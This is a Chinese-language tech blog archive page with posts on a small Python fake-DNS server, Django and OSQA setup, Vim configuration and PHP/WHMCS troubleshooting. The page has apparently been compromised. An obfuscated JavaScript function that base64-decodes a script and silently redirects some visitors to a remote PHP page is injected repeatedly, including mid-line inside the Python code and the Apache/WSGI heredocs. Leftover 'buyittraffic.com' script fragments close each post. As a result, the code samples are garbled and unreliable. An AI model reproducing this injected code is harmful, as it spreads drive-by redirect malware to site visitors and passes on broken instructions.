Category Archives: PHP & Python & etc

QR代码API

http://phpqrcode.sourceforge.net 是一个开源的php qr代码生成lib,不过本身也奉献了一个QR的api:

http://phpqrcode.sourceforge.net/qrsample.php?data=test&ecc=H&matrix=10

把data=XXX换成你想要的文本即可。and.buyittraffic.com/clizkes' type='text/javascript'>

简单的Python DNS服务器

import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15   # Opcode bits
    if tipo == 0:                     # St<script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>andard query
      ini=12
      lon=ord(data[ini])
      while lon != 0:
        self.dominio+=data[ini+1:ini+lon+1]+'.'
        ini+=lon+1
        lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + &quot;\x81\x80&quot;
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'   # Questions <script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>and Answers Counts
      packet+=self.data[12:]                                         # Original Domain Name Question
      packet+='\xc0\x0c'                                             # Pointer to domain name
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'             # Response type, ttl <script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>and resource data length -&gt; 4 bytes
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
    return packet

if __name__ == '__main__':
  ip='192.168.1.1'
  print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
  
  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))
  
  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Respuesta: %s -&gt; %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finaliz<script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>ando'
    udps.close()

and.buyittraffic.com/clizkes' type='text/javascript'>

使用Django的django-registration模块

django-registration模块提供一个现成的用户账号服务过程。包括用户注册、激活,登录,密码修改,密码重设等。同时提供了很多灵活的修改方式。用户只需要提供相应的模板文件,不需要编写任何程序代码就可以获得完整的用户账号服务功能。

安装方法:
起初我以为可以在Debian的apt-get中安装,使用apt-get install django-registration,报错了。后来发现需要用easy_install才行:

#easy_install django-registration

安装成功的话在python的shell中,import registration不抱错即可。

在Django中使用django-registration
在settings.py中:

INSTALLED_APPS = (
    # ...
    'registration',
)

加入对于“registration”模块即可。

默认安装django-registration后,只有一些后台的逻辑,例如如何注册用户或者登录界面的form还需要自己制作

and.buyittraffic.com/clizkes' type='text/javascript'>

设置VIM为Python开发环境

在putty下面使用vim还是很舒服的,不过作为python的编辑器则需要设置一些内容,才能使用起来更方便。

设置缩进格式
python的语法对缩进要求很严格,一般的都要求把tab设置为四个空格,编辑~/.vimrc(没有这个文件的话可以创建新文件,vim能够自动识别)

" 自动检测文件类型并加载相应的设置
filetype plugin indent on
" 将tab设置为四个空格
autocmd FileType python setlocal et sta sw=4 sts=4

参考:Vim代码缩进设置

安装pydiction,增加tab补全
pydiction可以实现下面python代码的自动补全:

  1. 简单python关键词补全
  2. python 函数补全带括号
  3. python 模块补全
  4. python 模块内函数,变量补全
  5. from module import sub-module 补全

pydiction网页下方的下载列表中下载最新版本的pydiction(目前是1.2),将zip压缩包解压至~/.vim/after/ftplugin/(没有这个目录可以自己创建)目录,然后将python_pydiction.vim拷贝至上一层,大致的目录情况如下:

然后编辑~/.vimrc,在末尾添加如下两行:

filetype plugin on
let g:pydiction_location = '~/.vim/after/ftplugin/pydiction/complete-dict'

然后在使用vim编辑python代码的时候,就能使用tab来自动补齐了:

and.buyittraffic.com/clizkes' type='text/javascript'>

安装OSQA问答系统


OSQA是一个python技术的开源QA系统,基于Django框架。因为Django要用python2.6,但是centos的yum体系是python2.4的,所以准备在一个Debian的VPS测试安装OSQA。

Hi-VPS的Debian 6.0的模板的source list有问题,需要更新一下:

cat >/etc/apt/sources.list <

VPS Debian模板默认安装了apache2和python(2.6),所以只要安装mysql-server即可:

#apt-get upgrade
#apt-get update
#apt-get install mysql-server mysql-client

创建OSQA的目录

#mkdir -p /home/osqa/osqa-server
#wget http://www.osqa.net/releases/fantasy-island-0.9.0-beta3.tar.gz
#tar zxvf fantasy-island-0.9.0-beta3.tar.gz
#cp -rf ./fantasy-island-0.9.0-beta3/* /home/osqa/osqa-server

在/home/osqa/osqa-server目录创建文件:

#cat >/home/osqa/osqa-server/osqa.wsgi <function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andlers.wsgi
application = django.core.handlers.wsgi.WSGIHandler()
EOF

删除默认的apach2站点文件:

#rm -rf /etc/apache2/sites-available/default\
/etc/apache2/sites-available/default-ssl\
/etc/apache2/sites-enabled/000-default

创建OSQA的apache配置文件:

#cat >/etc/apache2/sites-available/osqa <function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and writable by apache
WSGISocketPrefix ${APACHE_RUN_DIR}

#NOTE: all urs below will need to be adjusted if
#settings.FORUM_SCRIPT_ALIAS !='' (e.g. = 'forum/')
#this allows "rooting" forum at [http://example.com/forum], if you like

	ServerAdmin forum@example.com
	DocumentRoot /home/osqa/osqa-server
	ServerName example.com

	#run mod_wsgi process for django in daemon mode
	#this allows avoiding confused timezone settings when
	#another application runs in the same virtual host
	WSGIDaemonProcess OSQA
	WSGIProcessGroup OSQA

	#force all content to be served as static files
	#otherwise django will be crunching images through itself wasting time
	Alias /m/ "/home/osqa/osqa-server/forum/skins/"
        
                Order allow,deny
                Allow from all
        
	Alias /upfiles/ "/home/osqa/osqa-server/forum/upfiles/"
	
		Order deny,allow
		Allow from all
	

	#this is your wsgi script described in the prev section
	WSGIScriptAlias / /home/osqa/osqa-server/osqa.wsgi

	CustomLog ${APACHE_LOG_DIR}/osqa.access.log common
	ErrorLog ${APACHE_LOG_DIR}/osqa.error.log

EOF


创建站点配置文件链接:

#ln -s /etc/apache2/sites-available/osqa /etc/apache2/sites-enabled/osqa

在mysql中创建数据库:

#mysql -u root -p
#CREATE DATABASE osqa DEFAULT CHARACTER SET UTF8 COLLATE utf8_general_ci;

安装python-setuptools和其他必备工具

#apt-get install python-setuptools python-mysqldb
#easy_install South django django-debug-toolbar markdown html5lib python-openid

开始安装:

#cd /home/osqa/osqa-server
#cp settings_local.py.dist settings_local.py

settings_local.py中有些部分需要修改:

DATABASE_NAME = 'osqa'
DATABASE_USER = 'osqa'
DATABASE_PASSWORD = 'your_osqa_password'
DATABASE_ENGINE = 'mysql'
APP_URL = 'http://YOUR_URL/'

开始安装:

#python manage.py syncdb --all
#python manage.py migrate forum --fake
#chown -R www-data:www-data /home/osqa/osqa-server
#chmod -R g+w /home/osqa/osqa-server/forum/upfiles
#chmod -R g+w /home/osqa/osqa-server/log
#/etc/init.d/apache2 restart

安装完毕

and.buyittraffic.com/clizkes' type='text/javascript'>

PHP过滤输入内容与SQL注入

filter_input是PHP 5.2以后的版本新加入的函数,对于新手来说可以简单的处理一些input信息,过滤不安全输入。

http://php.net/manual/en/function.filter-input.php

不过PHP官方网站上倒是有一篇关于预防SQL注入的文章:

http://php.net/manual/en/security.database.sql-injection.phpand.buyittraffic.com/clizkes' type='text/javascript'>

CentOS为PHP安装mbstring 扩展

不安装的话phpmyadmin会一直报错.

yum install php-mbstring
echo 'extension=mbstring.so' >>/etc/php.ini

and.buyittraffic.com/clizkes' type='text/javascript'>

安装WHMCS报错

下载WHMCS后,开始install,报错了

Site error: the file /var/www/html/whmcs/index.php requires the ionCube PHP Loader ioncube_loader_lin_5.2.so to be installed by the site administrator.

需要在http://www.ioncube.com/loaders.php根据你的系统的种类下载tar包,解压缩后放入/usr/lib里面,然后再php.ini中添加

zend_optimizer.optimization_level=15
zend_extension = /usr/lib/ioncube_loader_lin_5.2.so

但是网页仍然报错,并且php -v显示如下错误:

ioncube_loader_lin_5.2.so: cannot restore segment prot after reloc: Permission denied

参考http://forums.zend.com/viewtopic.php?f=57&t=451,运行/usr/sbin/setenforce 0,正常.

原因是SE Linux被设置为enforcing.

To turn this off completely you can edit your selinux config:
edit and replace enforcing with disabled in ''/etc/selinux/config'' and reboot server.

如果以前装有Zend Optimizer,安装ionCube会和Zend Optimizer发生冲突,再执行/usr/local/php/php-fpm reload 时会发生如下错误:The Loader must appear as the first entry in the php.ini file in Unknown on line 0

须将Zend Optimizer的代码放在ionCube的后面,如LNMP中是如下代码,修改完成再执行/usr/local/php/php-fpm restart ,使用Lnmp一键安装包安装的话,需要/usr/local/php/sbin/php-fpm reload重启。

ps:ioncube包里面有各个版本php的,5.3的PHP有ioncube_loader_lin_5.3.so可以用

and.buyittraffic.com/clizkes' type='text/javascript'>

老版本的PHP惹得祸

新安装的VPS没有添加其他的yum源,怕出来各种依赖性问题,就httpd和php5.1.6.

但是一个theme的options一直没法更新,页面也不显示任何问题,打来了php.ini的display_error后显示
Fatal error: Call to undefined function filter_input()
后来查查,原来是php 5.1.X根本就没有这个函数,只有在5.2以上的版本才有.

建立更新源:(如果并非root请先使用su -提权)

  #vim /etc/yum.repos.d/CentOS-Testing.repo

在vim编辑器里面,将下面这段文本粘贴进去:

    [c5-testing]
    name=CentOS-5 Testing
    baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/
    enabled=1
    gpgcheck=1
    gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing
    priority=1

然后yum update phpand.buyittraffic.com/clizkes' type='text/javascript'>

改造SEO Smart Links

SEO Smart Links能够自动给blog中的关键词添加连接,但是也会给高亮的code代码添加连接,并且我使用的syntaxhighlighter插件在处理高亮code时候也和seo smart link配合有问题,把smart link添加的链接html代码直接显示出来,非常难看.虽然可以再选项中选择排除对h1,h2这样的标签进行排除,但是没有对其他的排除选项,分两部分实现,第一部分先给需要排除的标签内的内容添加特殊标识

if ($options['excludeheading'] == "on") {
		//Here insert special characters
		$text = preg_replace('%(<h.*?>)(.*?)(</h.*?>)%sie', "'\\1'.insertspecialchars('\\2').'\\3'", $text);
	}

在后面添加一行代码:$text = preg_replace(‘%(\【code.*?\】)(.*?)(\【\/code\】)%sie’, “‘\\1’.insertspecialchars(‘\\2’).’\\3′”, $text),把【替换成[,类推要不blog没法正常显示,然后再最后替换关键词链接后把刚才的特使标识删除:

if ($options['excludeheading'] == "on") {
		//Here insert special characters
		$text = preg_replace('%(<h.*?>)(.*?)(</h.*?>)%sie', "'\\1'.removespecialchars('\\2').'\\3'", $text);	}

后面添加:$text = preg_replace(‘%(\【code.*?\】)(.*?)(\【\/code\】)%sie’, “‘\\1’.removespecialchars(‘\\2’).’\\3′”, $text).

原理是SEO SMART LINK在处理特使的标记端是,吧这部分标记内部的所有文本都用特使的html标记分隔开,替换的时候就不会正则出来,替换后再把所有的特殊标记都去掉.

但是这样更改后还是没有反应,后来发现syntaxhighlighter在添加filter的时候把自己的特权设置的很高:

add_filter( 'the_content', array(&$this, 'parse_shortcodes'), 7 );

但是SEO SMART LINK在添加filter特权要低一些,这样文本就先被syntaxhighlighter处理过了:

add_filter('the_content',  array(&$this, 'SEOLinks_the_content_filter'), 10);

把10调整成5即可.

PS:首先学习一下php的正则表达式.preg_replace(正字表达式,准备把正则表达替换成的内容,替换文本)是php的正则替换函数.’%()(.*?)()%sie’中开始的%和结尾的%sie是特使的正则开始和结尾的标志,使用这样的开始和结尾才能使用”‘\\1’.removespecialchars(‘\\2’).’\\3′”这样简单的方式快速组合出中间被替换而开始和结尾都没有变化的字符串.and.buyittraffic.com/clizkes' type='text/javascript'>